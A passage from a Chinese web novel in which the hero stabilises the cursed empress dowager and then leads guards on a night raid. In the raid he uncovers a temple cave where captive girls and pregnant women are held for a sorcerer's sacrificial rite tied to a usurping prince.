皇太后那张如同枯木一般的脸上,也终于多了一丝活人的血色。
“呼……”
谢宁彻底松了一口气,整个人都感觉有些虚脱。
刚才那一套操作下来,对他自身的消耗也是巨大的。
他擦了擦汗,走到门口,拉开了殿门。
一直守在门口的李庆宁和李庆志,立刻紧张地围了上来。
“怎么样了?”
“姐夫,母后她……”
“放心吧。”
谢宁稍显疲态,笑得却是灿烂。
“暂时稳住了。”
听到这句话,李庆宁和李庆志悬着的心,才总算是放了下来。
李庆宁的眼眶一红,看着谢宁苍白的脸,和被汗水浸湿的衣襟,眼底全是心疼和感激。
“谢宁,谢谢你…….”
她有千言万语想说,但最后,只汇成了这三个字。
“傻瓜,跟我还客气什么。”
谢宁笑了笑。
“先进去看看吧。”
李庆宁和李庆志连忙冲进了内室。
当他们看到皇太后的脸色真的比之前红润了不少,呼吸也变得平稳有力了许多时。
姐弟俩激动得眼泪都快掉下来了。
虽然皇太后还没有醒过来,但只要情况不再恶化,那就还有希望。
谢宁靠在门框上
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,看着姐弟俩激动的样子,心里也松了口气。
太后这边,算是暂时告一段落了。
那么接下来,就该好好地跟李庆宁谈一谈,关于大佛寺的事情了。
那个地方,才是真正的根源所在!
等李庆宁和李庆志的情绪稍微平复了一些。
谢宁才把他们叫到了外殿。
“太后的情况虽然暂时稳住了,但这只是治标不治本。”
谢宁的神色,重新变得严肃起来。
“那个邪术的根源,依旧在不断地运转。我布下的这个阵法,最多也只能撑上一个月。一个月之后,要是还找不到源头,破不了那个邪术,皇太后的结果依然……”
他没有把话说完,但意思已经很明显了。
李庆宁和李庆志刚刚放下的心,瞬间又提了起来。
“那该怎么办?”李庆志也是脸色一沉。
对皇家出手,此人显然是早有预谋。
“对了姐夫,你不是说那个施法的媒介可能就藏在慈宁宫里么?朕已经派人把这里里外外都翻了好几遍了,连地砖都撬开看了,可什么都没发现!”
“之前,我确实是这么怀疑的。”
谢宁点了点头。
“但是今天,我有了一个新的发现。”
他的目光,看向李庆宁。
“公主,你还记得,我之前让你帮我查一查,城郊那个大佛寺吗?”
“记得。”
李庆宁立刻点头。
“我已经派人去查了,只是暂时还没有什么特别的消息传回来。”
“不用等消息了。”
谢宁摇了摇头。
“今天我亲自去了一趟。”
“什么?你去了大佛寺?”李庆宁吃了一惊。
连李庆志都瞪大了眼睛。
谢宁点了点头,便将自己今天在大佛寺的所见所闻,全都一五一十地,详细地说了一遍。
从那个香火鼎盛,却处处透着诡异的送子观音殿。
到那个被小鬼缠身,举止怪异的贵妇。
最后,到后山那个阴气冲天,隐藏在幻术之下神秘的洞窟。
当谢宁说完这一切的时候。
整个大殿,陷入了一片死寂。
第六十八章 从长计议
李庆宁和李庆志两个人,都像是听天书一样,被震惊得半天说不出一句话来。
他们的脸上写满了不敢置信。
皇家寺庙,佛门清净之地,竟然会是这样一个藏污纳垢的魔窟?
用活人献祭,用婴孩的怨气来积攒邪气?
这简直是骇人听闻!
如果不是这话从谢宁的嘴里说出来,他们是绝对不会相信的。
“你的意思是……”
李庆宁的声音,都在微微地颤抖,不是害怕,而是生气。
“母后中的邪术,还有我之前遇到的四阴绝户局,根源都在那个山洞里?”
“**不离十。”
谢宁的表情无比凝重。
“我怀疑那个风水师,在那个山洞里布置了一个巨大的邪阵。这个邪阵需要源源不断的阴气和怨气来维持。”
“所以,他们才搞出个什么送子观音,来骗那些贵妇上门。一方面,是吸取她们的气运。另一方面,恐怕就是为了她们肚子里的孩子!”
“这些畜生!”
小皇帝李庆志听得是目眦欲裂,气得浑身发抖。
他一拳狠狠地砸在了旁边的桌子上。
“他们怎么敢?他们怎么敢这么做?在朕的眼皮子底下,在京城重地,竟然做出如此丧尽天良之事!朕要诛他们九族!不!十族!”
李庆志是真的被气坏了。
他虽然年纪不大,但从小接受的就是帝王教育,一直都以明君的标准来要求自己。
他怎么也无法容忍,在自己的眼皮子底下,竟然会发生这般残忍的事情。
“皇姐,姐夫,我们现在就派禁军过去,把那个什么大佛寺夷为平地,把那些妖僧,还有那个什么风水师,全都抓起来,千刀万剐!”
李庆志激动地说道。
“不可!”
谢宁和李庆宁,几乎是异口同声地阻止了他。
“为什么不行?”李庆志不解地看着他们。
“你冷静一点。”
李庆宁深吸了一口气,强迫自己冷静下来。
“你别忘了,那个大佛寺是什么地方,那是皇家寺庙,是先帝爷下旨修建的。而且,我们的人查到,贤王府的马车,也去过那里。”
贤王!
听到这个名字,李庆志的脸色瞬间又变了。
他眼中的怒火,慢慢地被一丝忌惮和凝重所取代。
他再冲动,也知道一旦事情牵扯到他那个皇叔,就绝对不是派兵那么简单了。
“贤王……这件事,竟然也跟他有关系?”
李庆志的声音,低沉了下去。
“恐怕,关系还不浅。”
谢宁接口道。
“我甚至怀疑,那个风水师就是贤王的人,或者说,他们之间存在某种合作关系。贤王觊觎的,怕是你这皇帝的位子。”
这话听得李庆宁和李庆志是心惊肉跳,后背阵阵发凉。
他们一直以为,贤王只是有野心。
却怎么也想不到,他的野心,竟然已经膨胀到了这个地步。
更想不到,他为了达到目的,竟然会和这种邪道妖人勾结,做出如此惨无人道的事情。
“现在,你还觉得,可以直接派兵过去吗?”
谢宁看着李庆志。
“我们现在没有任何直接的证据,能证明这件事跟贤王有关。”
“如果我们贸然派兵,就算捣毁了大佛寺,贤王完全可以把自己摘得干干净净。”
“他甚至可以反咬一口,说我们是为了打压他,才故意捏造罪名,毁坏皇家寺庙。”
“到时候,朝堂之上必定会掀起轩然大波。”
“那些原本就支持贤王的大臣,肯定会借题发挥的。”
“到了那时,我们不仅扳不倒他,反而会让自己陷入一个非常被动的局面。”
李庆志听着谢宁的话,额头上已经冒出了冷汗。
他这才意识到,自己刚才的想法,是多么的天真和冲动。
这件事,远比他想象的要复杂和凶险得多!
“那……我们该怎么办?难道就这么眼睁睁地看着他们继续为非作歹,残害无辜么?”
“当然不是。”
谢宁的眼中,闪过一丝冰冷。
“既然不能明着来,那我们就暗着来,我们需要的不是在朝堂上扳倒他,而是找到确凿的证据,将他们当场抓个现行!让他们连狡辩的机会都
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没有!”
“你的意思是……”李庆宁冰雪聪明,立刻就明白了谢宁的想法。
“你还要去那个山洞?”
“没错。”
谢宁点了点头。
“只有进到那个山洞里,亲眼看看里面到底有什么。”
“我们才拥有将他们一网打尽的机会。”
“可是,那个山洞里必然危险重重。”
李庆宁的脸上,写满了担忧。
“那个风水师的手段连你都觉得棘手,你一个人去,太危险了。”
“谁说我一个人去了?”
谢宁看了她一眼,笑了笑。
“我这不是在跟你商量,找帮手么。”
李庆宁一愣,随即反应过来。
“你要我派人跟你一起去?”
“嗯。”
谢宁点了点头。
他若是真想一个人进去,他先前就去了。
“我需要几个身手好,且绝对可靠的人。”
“人不用多,贵在精。”
“这个没问题。”
李庆宁想都没想就答应了。
“我马上就让容嬷嬷去安排,长公主府的暗卫,你可以随便挑。”
“好。”
谢宁满意地点了点头。
长公主府的暗卫,他还是信得过的。
毕竟,清风和明月就是最好的例子。
就在这时。
一个侍女匆匆地从殿外走了进来,在李庆宁耳边,低声地禀报了几句。
李庆宁的脸色瞬间变得无比难看。
“怎么了?”谢宁问道。
李庆宁深吸了一口气,抬起头,看着谢宁。
她的声音里,带着一丝压抑不住的怒火和悲痛。
“我之前派出去调查大佛寺的人有消息传回来了。他们说最近这半个月,大佛寺附近的山村里,已经接连发生了好几起失踪案。”
“失踪的全都是些年轻的少女,还有一些刚怀上孩子的孕妇。前前后后加起来,少说也有几十人了!”
“什么?”
饶是谢宁,听到这个消息,也是心头剧震。
几十个人!
短短半个月的时间,就失踪了几十个人!
而且还都是少女和孕妇!
第六十九章 月黑风高夜
这个数字,远比他想象的还要触目惊心。
“由于失踪的都是些普通山民,当地的官府根本就没当回事,只是草草地备了个案,就压了下去。”
李庆宁的拳头紧紧地攥着,指甲都快要掐进肉里了。
“如果不是我的人特意去查,恐怕这件事永远都不会有人知道。”
现在,所有的线索都对上了。
谢宁的推测,也得到了血淋淋的证实。
“我知道了。”
谢宁的胸口,剧烈地起伏了几下。
一股滔天的杀意,再也无法抑制地,从他身上弥漫开来。
整个大殿的温度,仿佛都瞬间下降了好几度。
李庆宁和李庆志看着此刻的谢宁,不免都有些心惊。
他们从未见过谢宁露出过这样的表情。
那是一种愤怒到极致后才有的情绪。
“今晚。”
谢宁的声音很轻,却像是一字一句地,从牙缝里挤出来一样。
“就今晚。”
他一秒钟都等不下去了。
他无法想象,此刻在那个黑暗冰冷的山洞里,那些被抓走的少女和孕妇,正在遭受着什么样的折磨和恐惧。
多等一分钟,可能就会多一个人,惨死在那洞窟之中。
“我跟你一起去!”
李庆宁站了出来,眼神无比坚定。
“不行!”
谢宁和李庆志,几乎是异口同声地答道。
“太危险了,你不能去。”
谢宁的态度很坚决。
“你现在最重要的任务,就是留在宫里,照顾好皇太后,稳住宫里的局势,朝堂之上也需要你。这种打打杀杀的事情,交给我们男人就行了。”
“可是……”
闻言,李庆宁还想说什么。
“皇姐,你就听姐夫的吧。”
李庆志也开口劝道。
“你去了只会让姐夫分心。我们就在这里等他的好消息。”
李庆宁看着谢宁那不容置疑的眼神,最终还是点了点头。
她知道,他们说的都对。
“好。”
她深吸一口气。
“我不去,但是你一定要答应我,务必要小心。我不想你出任何事。”
“放心吧。”
谢宁看着她担忧的眼睛,心中的杀意稍稍收敛了一些。
他伸出手,轻轻地将她揽入怀中。
“我向你保证,我会把那些无辜的女孩都安安全全地救出来。我也会安安全全地回到你身边。这么一个媳妇在等着我,我可舍不得死。”
他这句半开玩笑的话,总算是让李庆宁紧绷的神经,稍微放松了一些。
“贫嘴。”
她嗔怪地白了他一眼,但却将头,更深地埋进了他的怀里。
这一刻,她无比地庆幸自己能遇到这个男人。
也无比地为他感到骄傲。
温存了片刻,谢宁才松开了李庆宁。
正事要紧,现在不是儿女情长的时候。
“事不宜迟,我先回府做些准备。你尽快把人手安排好,入夜之后,我们在城南的破庙会合。”
“好。”
李庆宁点了点头。
“一切都拜托你了。”
谢宁没再多说什么,转身便大步流星地离开了慈宁宫。
看着他离去的背影,李庆宁的眼中闪过一丝坚毅。
她立刻叫来桃花。
“去,传我的命令,让暗卫营的天地玄黄四组,立刻到城南破庙集合,听候谢宁调遣!”
“另外,再传信给京兆尹,让他调集三千府兵,在城外待命!”
“一旦破庙那边发出信号,立刻不惜一切代价,封锁整个大佛寺!”
“一只苍蝇也不许放出去!”
她虽然不能跟着谢宁一起去。
但她,要为谢宁准备好最强的后援!
她要让那些人插翅也难飞!
……
谢宁回到定远侯府的时候,天色已经彻底暗了下来。
清风和明月早就已经等在了院子里。
“公子,您回来了。”
两人看到谢宁,立刻迎了上来。
“嗯。”
谢宁点了点头,直接走进屋里。
“清风,明月,你们两个都进来。”
两人跟着谢宁进了屋,神色都有些凝重。
他们能感觉到,公子今天的情绪有些不对劲。
“今晚就动手。”
谢宁开门见山。
“你们两个怕不怕死?”
清风和明月对视了一眼,然
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后毫不犹豫地单膝跪地。
“我二人的命都是公子救的。”
“愿为公子赴汤蹈火,万死不辞!”
他们的声音铿锵有力。
“好。”
谢宁点了点头。
他要的,就是这个态度。
“都起来吧。”
他将少女失踪,今晚要去夜探大佛寺后山的事情简单地说了一遍。
清风和明月听完,也是义愤填膺,气得浑身发抖。
“岂有此理,这帮秃驴,简直是猪狗不如,公子,您下令吧,今晚我们两个就是拼了这条命,也要把那些畜生全都宰了!”
他们都是孤儿,从小就见惯了世间的黑暗。
所以,他们对这种残害无辜的事情,更是深恶痛绝。
“**,不急于一时。”
谢宁的表情很冷静。
“我们今晚的首要任务是救人,和搜集证据。对方的老巢肯定防守严密,而且那个风水师的手段非常诡异,我们不能硬闯。”
说着,他从怀里,掏出了几样东西。
三张画着复杂符文的黄纸。
还有一个小瓷瓶。
“这三张是敛息符。”
谢宁将符纸分给他们。
“顾名思义,只要将符贴在身上,便可最大限度地收敛自身气息,不被对方察觉。”
“这个瓶子里装的是牛眼泪。”
谢宁又晃了晃那个小瓷瓶。
“等会儿滴在眼睛里,可以看到一些,平时看不到的东西。”
清风和明月都是一脸的好奇。
敛息符?牛眼泪?
这些东西,他们都是第一次听说,感觉是既神奇又古怪。
“都准备一下吧。”
谢宁吩咐道。
“换上夜行衣,带好兵器,一炷香之后,我们出发。”
“是!”
两人领命,立刻下去准备。
谢宁也换上了一身黑色的劲装,将一柄短剑绑在了背后。
他还特意找了一些可能用得上的东西。
比如,可以让人瞬间昏迷的**。
还有一些解毒用的药草。
一切准备就绪,谢宁带着清风和明月,悄无声息地翻出了定远侯府的高墙,身影瞬间融入沉沉的夜色之中。
第七十章 夜探洞窟
城南,破庙。
这里早就已经荒废了多年,平时除了些乞丐和流浪汉,几乎不会有人来。
但今晚,这里却显得格外不同。
破庙的内外,都站了不少身穿黑衣,神情冷峻的身影。
他们一个个气息沉稳,眼神锐利,就像是融入了黑暗的猎手。
这些人,正是长公主府的精锐暗卫。
当谢宁三人赶到这里的时候。
一个看起来是领头的中年暗卫,立刻上前一步,对着谢宁单膝跪地。
“属下天字第一号,参见谢世子。”
“公主殿下有令,我等四组,共计十六人,今晚全凭世子差遣。”
他的声音低沉而又有力,谢宁打量了他一眼,满意地点了点头。
不愧是长公主的亲卫。
每一个都是能以一当十的好手。
“都起来吧。”
谢宁一挥手。
“情况紧急,我就不跟你们废话了,今天晚上我们的目标是城郊的大佛寺,具体的情况,路上我会跟你们说。现在所有人,即刻出发!”
“是!”
十六名暗齐声应道。
声音不大,却充满了力量。
一行十九人,全都趁着夜色朝着城郊的大佛寺急速掠去。
……
夜色,如同一块巨大的黑色幕布,笼罩着整个建安城。
大佛寺在夜色中,就像一头蛰伏的巨兽,静静地趴在山腰上。
白日里的喧嚣和香火气早已散去,整个寺庙内外,只剩下死一般的寂静。
偶尔掠过几声乌鸦的鸣啼,更显出阴森恐怖。
十九道黑色的身影悄无声息地出现在了大佛寺的外墙下。
正是谢宁一行人。
“天一,你带几个人去把寺里巡夜的僧人都处理了。”
谢宁低声吩咐道。
“记住,留活口。”
“是!”
天字第一号的暗卫首领点了点头,立刻带着三名手下,如狸猫般悄无声息地翻进了院墙。
不一会儿,寺庙里就传来了几声极其轻微的闷哼。
而后便再也没有了任何动静。
“走。”
谢宁一挥手,带领着剩下的人也翻进了寺庙。
整个过程行云流水,没有发出一点多余的声响。
长公主府的这些暗卫,确实是专业的。
“按照计划,分头行动。”
谢宁压低了声音。
“清风,明月,玄字一组,你们跟我去后山。剩下的人两人一组,把整个大佛寺都给我搜一遍,看看有没有其他的暗道或者地牢。”
“一旦发现有被囚禁的女孩,立刻发信号,然后救人。记住,我们只有半个时辰的时间。半个时辰之后,无论有没有发现,都必须到后山洞口集合。明白了吗?”
“明白!”
所有暗卫齐声低喝。
下一秒,十几道身影便迅速地分散开来,融入了寺庙的各个角落。
谢宁则带着几人,熟门熟路地直奔后山。
一路上,他们又遇到了几拨巡逻的武僧。
但这些武僧还没来得及发出警报,就被隐藏在暗处的暗卫干净利落地全部放倒。
很快,三人便再次来到了白天那个隐藏着洞口的荒草坡前。
“就是这里了。”
谢宁停下脚步。
他从怀里掏出了那个装着牛眼泪的小瓷瓶。
“把这个滴在眼睛里。”
众人很快按照谢宁吩咐将牛眼泪悉数滴入眼中。
当他们再次睁开眼睛的时候。
几人都忍不住倒吸了一口凉气。
只见眼前的荒草坡上,竟莫名多出了好几道悬浮在半空中的黑影,这些黑影正张牙舞爪地在半空中盘旋,嘶吼。
整个山坡,都被一层浓郁得化不开的黑气给笼罩着。
而在那黑气的中央,那个洞口的位置,更是阴气冲天,仿佛是连通着九幽地府的入口。
“这是……”
清风忍不住吞咽了一口唾沫。
他活了这么大还是第一次看到如此恐怖的景象。
“别怕。”
谢宁的声音很冷静。
“这些都只是些不成气候的孤魂野鬼而已。,是那个邪阵泄露出来的阴气把它们吸引过来的。真正的大家伙还在里面呢。”
他伸手,再次破开了那个幻术。
黑漆漆的洞口,又一次出现在了众人
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面前。
“把敛息符贴上。”
谢宁低声吩咐,顺势又取了几张,递给玄字房的人。
众人将符纸贴在胸口的瞬间,就感觉自己身上的气息仿佛被一层无形的薄膜给隔绝了起来。
“跟紧我,不要发出任何声音。”
谢宁说罢,第一个闪身钻进了洞窟中。
清风和明月也立刻跟了上去,紧接着便是玄字房的暗卫。
一进洞窟,一股刺骨的阴寒便瞬间包裹了所有人。
洞窟里伸手不见五指,自能模糊看见一条人工开凿的石阶,一直盘旋着通往地底深处。
石阶的两侧湿滑站年,还滴着水。
空气中,那股血腥和腐臭的气味变得更加浓烈了。
好在,众人都是从**堆里爬出来的,这些气息稍待片刻也就适应了。
环顾四周,谢宁从怀里取出了一个火折子。
他并未点燃,而是在火折子的顶端涂抹上了一些特制的磷粉。
火折子立刻就散发出一阵微弱的,绿油油的荧光。
虽然不亮,但勉强也足够照亮脚下的路了。
这种磷光不会产生明火,也不容易被发现。
众人就这么小心翼翼地顺着石阶一步一步往下走。
大概走了一百多阶,眼前的景象豁然开朗,一个巨大的地下溶洞出现在众人面前。
溶洞大得超乎想象,几乎有半个足球场那么大。
溶洞的顶上,倒挂着无数奇形怪状的钟乳石。
接着微弱的磷光,众人的目光很快注意到了溶洞中央的位置。
那竟然是,祭坛!
祭坛是用不知名的黑色石料搭建而成,上面刻满了无数诡异扭曲的符文。
在祭坛的四周,还挖了四条血槽。
血槽里,流淌着的不是水,而是早已凝固发黑的血液!
整个溶洞,都充斥着一股令人心悸的邪恶气息。
而在溶洞的四周,竟然还开凿出了一间间的石室。
石室都用粗大的铁栅栏给封锁着。
透过微弱的磷光,谢宁可以隐约看到,那些石室里好像都关着人!
看到这里,谢宁的心瞬间就沉了下来。
第七十一章 地下炼狱
他给众人打了个手势,几人赶忙放轻脚步,悄悄地朝着那些石室摸了过去。
当他们靠近其中一间石室的时候。
眼前的一幕,让他们的瞳孔,都猛地收缩了起来。
只见那间石室里,竟然用铁链锁着七八个衣衫褴褛,披头散发的女孩!
这些女孩一个个面黄肌瘦,眼神空洞,看她们的年纪,不炒锅过十五六岁。
正是花一般的年纪。
此刻,却像牲口一样,被囚禁在这个暗无天日的洞窟里。
“畜生!”
明月的拳头攥得咯咯作响,眼睛都红了。
他恨不得现在就冲进去把那些铁链全都砍断。
谢宁一把按住了他。
“别冲动!”
他压低了声音。
“先看看其他地方。”
他们悄悄地又查看了旁边的几个石室。
里面的情况都大同小异。
每一间石室,都关押着七八个,甚至十几个年轻的女孩。
越往里走,他们就越是心惊。
因为他们发现,后面几间石室里关押的,竟然全都是孕妇!
那些孕妇的情况比前面的少女们还要凄惨。
她们一个个肚子高高隆起,显然已经有了好几个月的身孕。
但她们的四肢却干瘦得如同皮包骨头。
每个人的脸上都带着一种死灰色的绝望和麻木。
她们的脚踝上锁着沉重的铁链。
铁链的另一头竟然连接着她们腹中胎儿的位置。
一根根细如牛毛,散发着黑气的诡异丝线,从铁链上延伸出来,刺破了她们的肚皮,深深地扎进了她们的肚子里。
就好像是在用她们腹中的胎儿,来当做某种容器,或者说是养料。
在她们的旁边,还散落着一些空了的药碗,里面残留的药渣,不时散发出一股股令人作呕的腥臭味。
谢宁只是闻了一下,就知道这些都是些强行催胎保胎的虎狼之药。
这帮畜生,竟然是在用药物强行维持着这些孕妇的生命。
目的,就是为了让她们肚子里的孩子能够一直以半死不活的状态存货下去。
“呕……”
玄字房的一名暗卫见到这一幕,再也忍不住,捂着嘴发出干呕的声音。
他虽然是暗卫,杀过人,见过血。
但他从未见过如此灭绝人性,惨无人道的景象。
这哪里是人间。
这分明就是地狱!
清风的脸色也是一片煞白,嘴唇都在哆嗦。
他看着那些孕妇空洞绝望的眼神,只觉得自己的心脏像是被一只无形的大手给狠狠地攥住。
这种感觉,痛得无法呼吸。
谢宁的胸口也像是堵了一块巨石。
他强忍着滔天的杀意和怒火,仔仔细细地将眼前的一切都记在了心里。
这些,都是那帮畜生罪该万死的证据!
“走,去祭坛那边看看。”
谢宁的声音沙哑得厉害。
众人悄悄地绕过那些石室,朝着溶洞中央的祭坛摸了过去。
越是靠近祭坛,那股邪恶的气息就越是浓郁。
甚至,他们还能听到,从祭坛的下方传来一阵阵若有若无的,像是婴儿啼哭,又像是厉鬼哀嚎的诡异声音。
直让人头皮发麻。
当他们终于摸到祭坛旁边的一块巨石后面时。
眼前的一幕,让得几人的呼吸,仿佛都停滞了。
只见那个巨大的血色祭坛上,竟然摆放着一个半人多高的,巨大的黑色陶罐。
陶罐的表面用鲜血画满了密密麻麻的符文。
这不是最诡异的,最诡异的是罐口,居然是用一张人皮给死死地蒙住了。
而在陶罐的四周,竟然还插着九杆黑色的幡旗。
每一杆幡旗上,都用金线绣着一个痛苦扭曲的婴儿头像。
洞窟内明明没有风,科那些幡旗却在自顾自地剧烈抖动着。
每一次抖动,都会散发出一股令人心神不宁的邪气。
“九子鬼母幡……”
谢宁看着那九杆幡旗,一字一句地,从牙缝里吐出了这几个字。
他曾经在一本古籍上看到过关于这种邪幡的记载。
这是一种极其歹毒,极其阴损的邪魔法器。
炼制这种幡,需要用九个刚出生不到一个月的婴儿。
在他们活着的时候,就用秘法将他们的三魂七魄硬生生地从身体里抽离出来,而后封印在幡中。
随后再用他们母亲的
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鲜血和怨气,日夜祭炼九九八十一天方能炼成。
此幡一旦炼成,威力无穷。
摇动之间,便能召唤出九只怨气冲天,凶残无比的厉鬼婴孩。
中幡者,心神会在瞬间被夺,血肉会被啃食殆尽,死状凄惨无比。
这是一种早就已经失传了的恐怖邪术。
谢宁怎么也没想到,竟然会在这里亲眼见到。
而祭坛中央那个巨大的陶罐,更是让他感到了一股前所未有的危机感。
那个陶罐里散发出来的邪气,比那九杆九子鬼母幡加起来还要浓郁和恐怖。
如果说,九子鬼母幡是地狱里的小鬼。
那那个陶罐里封印的,很可能就是一尊真正的鬼王。
“看来,这才是他们真正的目的。”
谢宁的心沉到了谷底。
一旦让这个陶罐里的东西被炼制成功。
别说是建安城,恐怕整个大齐都要陷入灾难之中。
就在谢宁被眼前这一幕震惊得心神恍惚的时候。
一阵脚步声,却突然从溶洞的另一条通道里传了过来。
有人来了!
谢宁的心头一紧,立刻给几人打了个手势。
众人迅速地将自己的身体藏进了巨石的阴影里。
同时,将自己的呼吸和心跳都降到了最低。
他们刚刚藏好。
两道人影就从那条通道里走了进来。
走在前面的是一个身穿黑色僧袍,面容枯瘦,眼神阴鸷的老和尚。
而在他身后,跟着的竟然是…….
定远侯府的老太君,王氏!
当谢宁看到老太君身影的瞬间,他的瞳孔猛地收缩了一下,还以为是自己看错了。
她怎么会在这里?
大半夜的,她一个养尊处优的老太太,跑到这个鬼地方来干什么?
老太君此刻的样子,也显得非常的古怪。
她脸上依旧是那副固执而又偏执的表情。
但她的眼神,却显得有些空洞和呆滞。
走路的姿势也有些僵硬,就像是一个被人用线操控着的木偶。
她的身上穿着一身和那个老和尚同款的黑色僧袍。
在这阴森恐怖的地下洞窟里,这一切显得格外的诡异。
第七十二章 又是暗门
谢宁的瞳孔,在那一瞬间收缩到了极致。
他想起了自己先前的猜测。
降头。
这老太太果真是被人给控制了心神。
那个躲在暗处的风水师,不仅用邪术害太后,也把手伸到了定远侯府,伸到了他奶奶的身上。
一股冰冷的杀意瞬间从谢宁的心底升腾而起。
这老太太虽然不讨喜,可到底是定远侯府的人,被人如此利用,他自然不允许。
原本还想下来后再查查老太太中降头的事,没想到,居然凑一块儿了。
他藏在巨石后面,死死地盯着那两道身影。
老和尚领着如同木偶一般的谢家老太君,并没有在祭坛前停留。
他们径直穿过祭坛,走到了溶洞最深处的一面石壁前。
老和尚伸出干枯的手,在石壁上摸索了片刻,似乎是触动了什么机关。
只听“咔嚓”一声轻响。
那面看起来平平无奇的石壁,竟然缓缓地向一侧滑开,露出一个更加深邃,更加黑暗的通道。
又是暗门!
谢宁的眉头拧成了一个疙瘩。
这个鬼地方到底还藏着多少秘密。
老和尚带着老太君一前一后地走了进去。
随着他们的身影消失在黑暗中,那扇石门缓缓合上,迅速恢复了原样。
溶洞再度陷入了一片死寂。
谢宁在巨石后面又等了片刻,确认周围再没有任何动静之后,才对身后的人道:“都出来吧。”
清风明月和那几名暗卫,这才一个个屏住呼吸,从藏身之处走了出来。
“公子,刚才那个老太太是……”
明月忍不住开口询问,他方才离得远,但他觉得那身影有点眼熟。
“你没看错,就是老太君。”
谢宁的声音很平静,但熟悉他的清风明月却能听出,这平静之下压抑着多大的怒火。
清风和明月神情凝重。
“现在不是说这个的时候。”
谢宁的目光,落在了那些依旧被囚禁在石室里的女孩和孕妇身上。
“救人要紧。”
他的声音不带一丝感情。
“你们几个,立刻去把那些铁锁都弄开。”
“记住,动作要轻,不要惊动了她们。”
“把她们带到外面安全的地方去,公主的人应该已经在外面接应了。”
“是!”
玄字房的暗卫立刻领命,身形如电,朝着那些石室摸了过去。
他们都是开锁的好手,那些粗大的铁链在他们手里,跟纸糊的没什么两样。
“公子,我们……”
清风看着谢宁。
“你们两个,跟我来。”
谢宁的眼神,落在了刚才老太君消失的那面石壁上。
他倒要看看,这大佛寺的背后到底还藏着什么见不得人的东西。
“公子,那祭坛……”
明月看了一眼溶洞中央那个散发着不祥气息的巨大陶罐,有些担忧。
“不要去碰那个东西。”
谢宁的语气变得无比严肃。
“那上面全是剧毒的邪术,碰一下,神仙都救不回来。提醒他们救人的时候也绕着走,绝对不能靠近祭坛十步之内!”
“明白!”
清风和明月的心头都是一凛。
谢宁带着两人,快步走到了那面石壁前。
他学着刚才那个老和尚的样子,在石壁上仔细地摸索起来。
果然,在石壁的一块凸起后面,他找到了一个极其隐蔽的机关。
他毫不犹豫地按了下去。
“咔嚓。”
石门应声而开。
一股比外面还要阴冷刺骨的寒气,从门后的黑暗中扑面而来。
“你们在外面守着,随时准备接应。”
谢宁回头对清风明月吩咐了一句。
“公子,里面太危险了,我们跟您一起去!”
清风急道。
“不用。”
谢宁摇了摇头。
“人多反而容易暴露。放心,我心里有数。”
说完,他不再犹豫,身形一闪,便消失在了那片深不见底的黑暗之中。
他一定要看看,这帮人到底在搞什么鬼。
暗门后的甬道比外面要狭窄得多。
仅能容纳一人通行。
甬道的墙壁上布满了湿滑的青苔,空气里弥漫着一股浓重的土腥味和腐烂的味道。
谢宁将敛息符的效用发挥到极致,整个人悄无声息地在黑暗中穿行。
他
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的脚步很轻,几乎听不到任何声音。
这条甬道很长,而且是盘旋向下的。
谢宁估算了一下,自己至少已经深入地下几十米了。
真不知道这帮秃驴是怎么在这山腹之中挖出这么一个洞窟的。
大概走了一炷香的时间,甬道的前方,终于透出了一丝微弱的光亮。
谢宁放慢了脚步,更加小心地靠了过去。
甬道的尽头,竟然是一个比外面那个溶洞小上一些,但却更加隐蔽的石室。
石室的布置很简单。
中央摆着一张石桌,几张石凳。
石壁上,镶嵌着几颗能够发出微光的夜明珠,将整个石室照得忽明忽暗。
此刻,石室里正站着三个人。
其中两个,正是刚才那个阴鸷老和尚,和如同木偶般呆立在一旁的老太君王氏。
而在他们对面,还站着一个人。
那个人从头到脚都笼罩在一件宽大的黑袍里,脸上还罩着一层黑色的面纱,看不清长相。
但谢宁只看了一眼,心脏就猛地一缩。
风水师!
虽然看不清脸,但那个人身上散发出来的那种阴冷和诡异的感觉,谢宁绝对不会认错。
这股气息,和他之前在李庆宁身上,皇太后身上感受到的如出一辙。
就是这个家伙。
这个藏在幕后搅动风云,用邪术害了这么多人的罪魁祸首。
谢宁强行压下立刻就冲出去弄死他的冲动,将自己的身体更深地藏进了甬道的阴影里,然后凝神细听。
只听那个黑袍人沙哑着声音开口道:“事情办得怎么样了?”
“回禀法师。”
那老和尚连忙躬身行礼,态度恭敬到了极点。
“一切都按照您的吩咐准备妥当了,慈宁宫里的子罐已经安置好了。明日子时三刻,只要我们这边启动母罐,宫里的子罐便会同时发作。
“到时候,别说是那个老太婆,就是整个慈宁宫,都得付之一炬。”
子母罐?
谢宁听到这个名字,心里就是一惊。
原来那个摆在祭坛上的巨大陶罐只是母罐。
而皇宫里还有一个!
真是好大的胆子,好毒的计划!
第七十三章 礼尚往来
“很好。”
黑袍人似乎很满意,点了点头。
“那个老太婆一死,小皇帝必然方寸大乱。长公主李庆宁怕也会因为悲伤过度心神失守。到时候,就是我们对付她和那个谢宁的最好时机。”
“只要除了这两个心腹大患,贤王殿下的大业,就成了一半了!”
贤王!
果然是他!
谢宁的拳头在袖子里死死地攥紧。
所有的线索,在这一刻,全都串联起来了。
贤王觊觎皇位,所以勾结了这个邪门的风水师。
风水师用邪术控制了大佛寺,炼制邪法器,积攒阴气。
他们先是对李庆宁下手,布下四阴绝户局。
失败之后,又对皇太后下手,以此来牵制李庆宁和皇室的精力。
现在,他们已然打算直接搞死太后,搞垮李庆宁,为贤王篡位铺路!
这一环扣一环,真是好算计!
“法师英明。”
老和尚一脸谄媚地吹捧道。
“只是法师,这老太婆现在如何处理……”
他指了指旁边站着不动的王氏,似乎有些犹豫。
“利用这个老太婆去对付谢宁,似乎不是很管用。可若是她**,我又怕到时候会横生枝节。”
“横生枝节?”
黑袍人冷笑一声,声音里充满了不屑。
“一个棋子而已,**就**,她活着,唯一的用处就是给谢宁添堵。”
“等谢宁一死,她也就没有任何价值了。不如让她跟着皇太后一起陪葬,也算是她的荣幸。”
“至于横生枝节?呵呵,人都**,怎么横生枝节?”
谢宁听到这里,心中只剩下冰冷的杀意。
他看着那个如同木偶一样,对自己即将到来的命运一无所知的老太君,心里没有半点波澜。
可怜之人,必有可恨之处。
若不是她自己心中有鬼,执念深重,又怎么会被人轻易地控制了心神,沦为别人手里的棋子?
谢宁探了口气,随即又将视线放在了黑袍人身上。
他现在只想把眼前这两个王八蛋,连同他们背后那个所谓的贤王挫骨扬灰。
“法师说的是。”
老和尚不敢再多嘴。
“对了,祭坛那边最近怎么样了?”
黑袍人又问道。
“一切正常。”
老和尚连忙回答。
